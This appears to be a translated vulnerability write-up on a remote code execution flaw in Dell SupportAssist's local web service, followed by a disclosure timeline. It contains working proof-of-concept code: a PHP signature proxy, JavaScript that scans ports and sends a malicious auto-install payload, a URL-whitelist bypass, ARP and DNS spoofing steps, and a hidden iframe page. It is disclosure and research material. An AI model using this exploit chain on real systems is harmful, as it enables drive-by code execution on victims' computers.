    Detect PC?自動識別?哦,這有點意思,它如何來識別我的電腦?出于好奇,我就點擊了“Detect PC”按鈕,看看會發生什么。

    點擊之后,跳出來了一個SupportAssist程序的安裝選項。盡管這是一個便利工具,但我還是有點點不放心,由于我當前系統是新裝系統,代理商系統已經被我革除。但為了進一步對該應用進行分析,我還是決定裝裝試試。該程序聲稱安裝完成之后,可以完全更新我的驅動并使電腦系統保持更新。

    SupportAssist程序安裝很簡單,勾選上述選框,點擊下載安裝就行。安裝完成之后,SupportAssist會在后臺創建并啟動名為SupportAssistAgent和Dell Hardware Support的服務項。初略看來,這兩個服務進程看似為.NET程序,很容易被逆向分析。安裝完后,我就重新訪問戴爾技術支持網站,看看它能探測到什么東東?果然,這次出現的是以下驅動探測選項( “Detect Drivers”) :

    為了更好的分析,我開啟了Chrome瀏覽器的網絡分析工具Web Inspector,打開了其中的Network按鈕進行監視,接著,我就點擊了上述選項頁面中的 “Detect Drivers” 按鈕,看看會有什么情況:

    經分析發現,戴爾技術支持網站此時會向我本機請求一個由SupportAssistAgent服務開啟的8884端口,另外,我本機經由一個REST API和向戴爾技術支持網站發起各種通信請求,而且,在戴爾網站的響應中也設置了只有https://www.dell.com網站標記的Access-Control-Allow-Origin訪問控制策略。

    在我的瀏覽器端,SupportAssist客戶端程序通過請求https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken,生成一個簽名對各種命令進行驗證。驅動探測完成后,點擊網頁中的驅動下載按鈕,其請求消息有點奇怪。其請求消息頭如下:

    POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature
    Accept: application/json, text/javascript, */*; q=0.01
    Content-Type: application/json
    Origin: https://www.dell.com
    Referer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&files=1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
    

    請求消息內容如下:

    {
     {
     "title":"Dell G3 3579 and 3779 System BIOS",
     "category":"BIOS",
     "name":"G3_3579_1.9.0.exe",
     "location":"https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&fn=G3_3579_1.9.0.exe",
     "isSecure":false,
     "fileUniqueId":"acd94f47-7614-44de-baca-9ab6af08cf66",
     "run":false,
     "restricted":false,
     "fileId":"198393521",
     "fileSize":"13 MB",
     "checkedStatus":false,
     "fileStatus":-99,
     "driverId":"4WW45",
     "path":"",
     "dupInstallReturnCode":"",
     "cssClass":"inactive-step",
     "isReboot":true,
     "DiableInstallNow":true,
     "$$hashKey":"object:175"
     }
    }
    

    通過請求來看,戴爾Web客戶端貌似可以直接請求我本機系統中的SupportAssistAgent服務,顯示驅動程序的下載和手動安裝選項(“download and manually install”),由于,我打算從SupportAssistAgent服務中入手進行分析,看看戴爾技術支持網站發出的一些具體命令。

    剛開始,Dell SupportAssist程序會通過8884、8883、8885或8886端口生成一個web服務進程(System.Net.HttpListener),其中的端口選擇視開放而定,一般為8884端口。在某個請求中,位于HttpListenerServiceFacade線程中的ListenerCallback會調用方法ClientServiceHandler.ProcessRequest。

    ClientServiceHandler.ProcessRequest是web服務進程中的主要方法函數,主要用于執行一些完整性檢查,如確保其接收到的請求來自我的電腦本機,諸如此類等等。在本文后續我們會繼續討論完整性檢查的相關問題,但是,這里我們還是把重點放到尋找RCE漏洞之上。

    ClientServiceHandler.ProcessRequest其中的一個完整性檢查就是,戴爾技術支持網站會查看由我電腦系統中Dell SupportAssist與其Web客戶端的請求中,涉及的Referer標簽是否為Dell官方所屬網站,以此來確定該請求是由其Web客戶端發起的,如下:

    // Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0
    public static bool ValidateDomain(Uri request, Uri urlReferrer)
    {
     return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) &&request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http");
    }
    // Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124
    public static bool ValidateDomain(string domain)
    {
     return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com");
    }
    

    從以上請求調用來看,其安全檢查并不完善,能讓攻擊者找到很多攻擊面,就拿繞過Referer/Origin來說,我們有以下幾種可選方法:

    1.從任何戴爾所屬網站中找到XSS漏洞(當然,我需在支持SupportAssist的網站中來發現這種XSS漏洞);

    2.發現子域名劫持漏洞;

    3.從本機程序中構造惡意請求;

    4.生成一個隨機子域名[random].dell.com,并利用DNS劫持受害者請求,以此用我們控制的服務器來對對其進行響應。

    最終,我選擇了第4種方法(稍后我會做出解釋)。經驗證請求的Referer/Origin信息之后,我發現ClientServiceHandler.ProcessRequest會對相應的GET、POST和OPTIONS功能做出響應。

    為了對Dell SupportAssist進行了深入研究,我決定通過它與戴爾技術支持網站之間的不同類型請求進行了抓包分析,剛好我的電腦系統還存在一些待定更新,所以我就選擇了瀏覽器工具對請求進行攔截。

    首先,戴爾技術支持網站會循環遍歷上述提到的四個端口來探測本機系統中安裝的SupportAssist,之后如果端口開放,則會連接“isalive”服務方法,比較有意思的是,其中的簽名“Signature”和“Expires” 參數傳遞過程有點意思,為此,我逆向了瀏覽器端涉及的JS腳本,發現了以下問題:

    1.首先,瀏覽器會向網站https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken發起請求,以獲取一個token,也就是簽名Signature。當然,戴爾還會分配一個“Expires token”,以限制簽名的過期時間;

    2.接著,瀏覽器會向每一個服務端口發出類似以下的請求:

    http://127.0.0.1:[SERVICEPORT]/clientservice/isalive/?expires=[EXPIRES]&signature=[SIGNATURE]
    

    之后,當相應端口開放并接收到請求后,本機的Dell SupportAssist客戶端會做出以下響應:

    {
     "isAlive": true,
     "clientVersion": "[CLIENT VERSION]",
     "requiredVersion": null,
     "success": true,
     "data": null,
     "localTime": [EPOCH TIME],
     "Exception": {
     "Code": null,
     "Message": null,
     "Type": null
     }
    }
    

    4.當瀏覽器接收到上述響應消息之后,它就與給定的開放端口建立聯系,進行后續的連接通信。

    通過對不同類型的請求進行測試后,我發現值得注意的因素是可以通過“getsysteminfo”方法來獲取到電腦本機中的各項硬件信息,甚至也可以通過XSS漏洞方式來讀取這些信息。這算是一個安全問題,因為這樣我可以對電腦系統做出全方位的畫像和敏感信息收集。

    另外,我還通過JS腳本逆向分析發現了以下一些特別的方法請求:

    clientservice_getdevicedrivers - Grabs available updates.
    diagnosticsservice_executetip - Takes a tip guid and provides it to the PC Doctor service (Dell Hardware Support).
    downloadservice_downloadfiles - Downloads a JSON array of files.
    clientservice_isalive - Used as a heartbeat and returns basic information about the agent.
    clientservice_getservicetag - Grabs the service tag.
    localclient_img - Connects to SignalR (Dell Hardware Support).
    diagnosticsservice_getsysteminfowithappcrashinfo - Grabs system information with crash dump information.
    clientservice_getclientsysteminfo - Grabs information about devices on system and system health information optionally.
    diagnosticsservice_startdiagnosisflow - Used to diagnose issues on system.
    downloadservice_downloadmanualinstall - Downloads a list of files but does not execute them.
    diagnosticsservice_getalertsandnotifications - Gets any alerts and notifications that are pending.
    diagnosticsservice_launchtool - Launches a diagnostic tool.
    diagnosticsservice_executesoftwarefixes - Runs remediation UI and executes a certain action.
    downloadservice_createiso - Download an ISO.
    clientservice_checkadminrights - Check if the Agent privileged.
    diagnosticsservice_performinstallation - Update SupportAssist.
    diagnosticsservice_rebootsystem - Reboot system.
    clientservice_getdevices - Grab system devices.
    downloadservice_dlmcommand - Check on the status of or cancel an ongoing download.
    diagnosticsservice_getsysteminfo - Call GetSystemInfo on PC Doctor (Dell Hardware Support).
    downloadservice_installmanual - Install a file previously downloaded using downloadservice_downloadmanualinstall.
    downloadservice_createbootableiso - Download bootable iso.
    diagnosticsservice_isalive - Heartbeat check.
    downloadservice_downloadandautoinstall - Downloads a list of files and executes them.
    clientservice_getscanresults - Gets driver scan results.
    downloadservice_restartsystem - Restarts the system.
    

    引起我注意的是downloadservice_downloadandautoinstall方法,它會從特定URL下載文件并執行,當用戶需要安裝某個驅動程序時,它就能派上用場,進行自動的下載和安裝。

    1.在確定某些驅動程序需要更新后,戴爾技術支持網站的瀏覽器端會發起一個以下的POST請求:

    http://127.0.0.1:[SERVICE PORT]/downloadservice/downloadandautoinstall?expires=[EXPIRES]&signature=[SIGNATURE]
    

    2.其請求消息體為以下的JSON格式:

    {
     {
     "title":"DOWNLOAD TITLE",
     "category":"CATEGORY",
     "name":"FILENAME",
     "location":"FILE URL",
     "isSecure":false,
     "fileUniqueId":"RANDOMUUID",
     "run":true,
     "installOrder":2,
     "restricted":false,
     "fileStatus":-99,
     "driverId":"DRIVER ID",
     "dupInstallReturnCode":0,
     "cssClass":"inactive-step",
     "isReboot":false,
     "scanPNPId":"PNP ID",
     "$$hashKey":"object:210"
     }
    }
    

    3.在執行完前述的完整性校驗之后,ClientServiceHandler.ProcessRequest方法會發送相關的參數和ServiceMethod,這些參數和方法是我們傳遞給ClientServiceHandler.HandlePost中的;

    4.在ClientServiceHandler.HandlePost中,它會把所有參數排列成一個數組,然后調用ServiceMethodHelper.CallServiceMethod;

    5.之后,ServiceMethodHelper.CallServiceMethod會實現一個調度功能,去調用ServiceMethod中給定的方法函數。在這里的驅動下載中,它是 “downloadandautoinstall” 方法:

    if (service_Method=="downloadservice_downloadandautoinstall")
    {
     string files5=(arguments !=null && arguments.Length !=0 && arguments[0] !=null) ? arguments[0].ToString() : string.Empty;
     result=DownloadServiceLogic.DownloadAndAutoInstall(files5, false);
    } 
    

    以上方法會調用 DownloadServiceLogic.DownloadAutoInstall,并提供請求體中JSON Payload的相應文件下載;

    6.接著,DownloadServiceLogic.DownloadAutoInstall會作為DownloadServiceLogic._HandleJson方法的一個封裝函數,執行異常處理等功能;

    7.DownloadServiceLogic._HandleJson會對包含文件下載的請求體JSON Payload進行反序列化,然后執行以下完整性校驗檢查:

    foreach (File file in list)
    {
     bool flag2=file.Location.ToLower().StartsWith("http://");
     if (flag2)
     {
     file.Location=file.Location.Replace("http://", "https://");
     }
     bool flag3=file !=null && !string.IsNullOrEmpty(file.Location) && !SecurityHelper.CheckDomain(file.Location);
     if (flag3)
     {
     DSDLogger.Instance.Error(DownloadServiceLogic.Logger, "InvalidFileException being thrown in _HandleJson method");
     throw new InvalidFileException();
     }
    }
    DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);
    

    以上完整性校驗檢查會對其中涉及的每個文件進行循環檢查,例如會檢查下載文件的URL,如果是http://就會用https://代替,也會檢查其中的URL是否與戴爾下載列表匹配。如下:

    public static bool CheckDomain(string fileLocation)
    {
     List<string> list=new List<string>
     {
     "ftp.dell.com",
     "downloads.dell.com",
     "ausgesd4f1.aus.amer.dell.com"
     };
     return list.Contains(new Uri(fileLocation.ToLower()).Host);
    } 
    

    最終,如果以上類似完整性檢查都能通過,就會通過DownloadHandler.RegisterDownloadRequest和Dell SupportAssist建立下載關系,以本機管理員身份下載并執行相應驅動文件。基于以上信息,我們可以來嘗試編寫一個漏洞利用代碼。

    漏洞利用及PoC

    首先我們需要構造的是執行對SupportAssist客戶端的請求,假設我們在一個戴爾的子域名網站環境中,在本節中我們將來討論如何做到這一點。在此我決定模仿瀏覽器并用javascript發起請求。

    一開始,需要找到服務端口,這里可以輪詢上述的四個預定義端口,并向“/clientservice/isalive”執行請求。另外還需要提供一個簽名,為此,可以執行一個針對“https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken”的請求。

    這樣看起來可能還是不行,因為簽名響應中涉及的訪問控制策略“Access-Control-Allow-Origin” 里明確提到要是“https://www.dell.com”相關網站,但是我們身處的子域名環境可能并不是https方式的,那怎么辦呢?我們可以從我們自己控制的服務端中來執行請求!

    從 “getdsdtoken” URL中返回的簽名適配所有設備系統,它是通用簽名,為此我寫了一段PHP腳本來抓取它:

    <?php
    header('Access-Control-Allow-Origin: *');
    echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken');
    ?> 
    

    上述腳本的訪問控制策略中允許任意域來對它執行請求,之后,它返回了原始的請求戴爾網站的簽名,相當于一個獲取簽名的代理,隨后 “getdsdtoken”URL會返回附帶簽名和過期時間的JSON信息,接著,我們可以使用JSON.parse針對抓取信息進行解析,把其中的簽名放置到一個javascript對象中。

    現在,我們有了簽名和其過期時間,就可以執行請求構造了,以下就是執行端口輪詢的腳本,如果相應的端口處于開放狀態,就把它填入server_port變量中去。如下:

    function FindServer() {
     ports.forEach(function(port) {
     var is_alive_url="http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken;
     var response=SendAsyncRequest(is_alive_url, function(){server_port=port;});
     });
    } 
    

    在發現服務端之后,我們可以發送我們的Payload,但這是最難的部份,在“downloadandautoinstall” 執行我們的Payload之前,還有多個需要解決的問題。

    從最難的問題說起,Dell SupportAssist客戶端中有一個內置的白名單,具體而言,其必須是“ftp.dell.com”、“downloads.dell.com”或 “ausgesd4f1.aus.amer.dell.com”這種類型的,從這個點來說幾乎無計可施,而且在dell相關網站也發現不了任何開放重定向漏洞。但是,我突然想到,可以用中間人攻擊(MITM)來看看。

    如果我們可以向Dell SupportAssist客戶端提供一個類似http://的URL,那我們就能非常容易地攔截并修改其中的響應消息了!在某種程度上就能解決這個最難的問題了。

    另外一個問題看似是為了應對繞過第一個問題而設置的,結合前述分析,當文件下載URL是http://,則它會被https://代替,這是完整性檢查中的相關方法定義:

    file.Location=file.Location.Replace("http://", "https://");
    

    重點來了,按照上面的定義,也就是說,如果文件下載URL是”http://”樣式的,那么就會被替換為”https://”,那要是文件下載URL是其它樣式的,那意思是就不會被替換為”https://”了?為此,我們來試試,在”http://”中的左括號后加上一個空格,即:“http://downloads.dell.com/abcdefg”,這樣一來,當執行完整性檢查的時候,由于該文件下載URL是以“ ”空格開始的,所以,它的檢查結果狀態會返回false,但這也不影響后面部份的 http://downloads.dell.com/abcdefg執行。為此,我編寫了如下的JS自動請求發送腳本來實現這種URL繞過:

    function SendRCEPayload() {
     var auto_install_url="http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;
     var xmlhttp=new XMLHttpRequest();
     xmlhttp.open("POST", auto_install_url, true);
     var files=[];
     files.push({
     "title": "SupportAssist RCE",
     "category": "Serial ATA",
     "name": "calc.EXE",
     "location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
     "isSecure": false,
     "fileUniqueId": guid(),
     "run": true,
     "installOrder": 2,
     "restricted": false,
     "fileStatus": -99,
     "driverId": "FXGNY",
     "dupInstallReturnCode": 0,
     "cssClass": "inactive-step",
     "isReboot": false,
     "scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
     "$$hashKey": "object:210"});
     xmlhttp.send(JSON.stringify(files)); 
    }
    

    有了這個Payload,現在就要想辦法在同一網絡中構造攻擊端了,以下是我在PoC階段有效的攻擊端搭建步驟:

    1.在同一網絡中獲得特定網絡接口下的某些IP地址;

    2.模擬戴爾Web服務端并提供一個包含路徑的任意可執行程序,該程序文件對應于戴爾網站提供的驅動程序。模擬的Web服務端會檢查請求主機頭是否為downloads.dell.com,如果是則會發送可執行程序;如果請求中有dell.com域名,但是不是downloads下載域名,則它會發送上述的JS自動請求腳本。

    3.接下來,要對目標系統執行ARP欺騙,這里要開啟IP轉發才能把ARP包發送到目標系統,這樣在路由和目標系統之間才能形成共識。我們會每隔幾秒就重復發送這些ARP包,退出后,會把原始的MAC地址發送給目標系統和路由。

    4.最后,我們要使用iptables將DNS數據包重定向到網絡過濾器隊列來進行DNS欺騙,通過監聽這個網絡過濾器隊列,并檢查目標系統請求的域名是否是我們的目標網址(戴爾技術支持網站)。如果是,我們會發送一個假的域名系統數據包,表明我們是該網址的真正IP地址。

    5.當目標系統受害者訪問我們的子域(直接通過網址或通過iframe間接訪問)時,我們會向它發送惡意的JS腳本,由它來發現Dell SupportAssist客戶端的服務端口,然后從我們之前創建的php文件中獲取簽名,最后發送RCE Payload。當Dell SupportAssist客戶端處理RCE Payload時,它會向downloads.dell.com發出請求,這時我們結合以下的ARP和DNS欺騙效果,將會向目標系統返回一個任意的可執行程序。

    PoC漏洞利用視頻如下


    視頻中的惡意dellrce.html源碼為:

    <h1>CVE-2019-3719</h1>
    <h1>Nothing suspicious here... move along...</h1>
    <iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>
    

    具體的漏洞利用工具參見Github:https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC

    漏洞上報進程

    2018.10.26 向Dell進行漏洞初報

    2018.10.29 Dell給出回應,驗證漏洞

    2018.11.22 Dell驗證漏洞

    2018.11.29 Dell計劃在2019年初給出暫時性修復補丁

    2019.1.28 Dell告知漏洞公布延遲至3月

    2019.3.13 Dell修復計劃滯后,漏洞公布延期至4月

    2019.4.18 Dell發出漏洞公告CVE-2019-3718

    2019.4.30 我公開漏洞

    *參考來源:d4stiny,clouds編譯,轉載自FreeBuf.COM

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有